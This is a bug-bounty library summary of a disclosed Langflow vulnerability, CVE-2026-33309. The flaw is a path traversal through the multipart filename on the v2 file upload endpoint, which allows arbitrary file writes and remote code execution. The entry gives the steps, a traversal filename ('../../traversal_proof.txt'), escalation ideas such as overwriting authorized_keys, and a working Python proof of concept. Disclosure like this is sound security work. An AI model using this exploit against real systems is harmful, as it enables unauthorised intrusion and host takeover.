# Langflow has an Arbitrary File Write (RCE) via v2 API

Langflow's v2 file upload trusts the multipart filename, letting an authenticated user traverse out of the storage dir and write arbitrary files, enabling RCE.

- Payout: Research
- Severity: critical
- Program: Langflow
- Found by: akshatgit, andifilhohub
- Disclosed: 2026-03-19
- CVE: CVE-2026-33309
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g2j9-7rj2-gm6c
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-g2j9-7rj2-gm6c
- Tags: area:web domain:api domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:python technique:incomplete-fix vuln:file-upload vuln:path-traversal vuln:rce

**Target:** POST /api/v2/files/ multipart upload endpoint and LocalStorageService
**Root cause:** The upload route passes the multipart Content-Disposition filename verbatim to LocalStorageService, which does naive path concatenation without a resolve().is_relative_to(base_dir) containment check; the ValidatedFileName dependency only guards URL path parameters.
**Steps:**
1. Authenticate: `POST /api/v1/login` with `username=admin&password=admin` to get a JWT.
2. Send `POST /api/v2/files/` with `Authorization: Bearer <token>` and multipart file part whose filename is `../../traversal_proof.txt` with content `CVE_RESEARCH_SENTINEL_KEY`.
3. Response returns 201; file lands at `/app/data/.cache/langflow/traversal_proof.txt`, outside the per-flow UUID directory.
**How found:** Reviewing the patch for CVE-2025-68478 (external control of filename in v1.7.1) and noticing the root architectural issue in LocalStorageService was unresolved: storage layer lacks containment checks and relies solely on the HTTP-layer ValidatedFileName dependency, which only guards path parameters, not multipart filenames.
**Exploitation:** Authenticated attacker uploads a file with a traversal filename to write anywhere the service user can write, e.g. overwriting .ssh/authorized_keys or injecting malicious Python components to gain host RCE.
**Escalation:** Arbitrary write escalates to RCE by overwriting .ssh/authorized_keys or injecting Python components.
**Insight:** When a prior filename-traversal CVE is patched only at the HTTP validation layer, check every other input path that reaches the same storage sink — multipart Content-Disposition filenames bypass path-parameter validators entirely.

## Proof of concept (copied exactly from the original report)

**Python PoC uploading traversal filename to v2 files API**

```
import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)
```

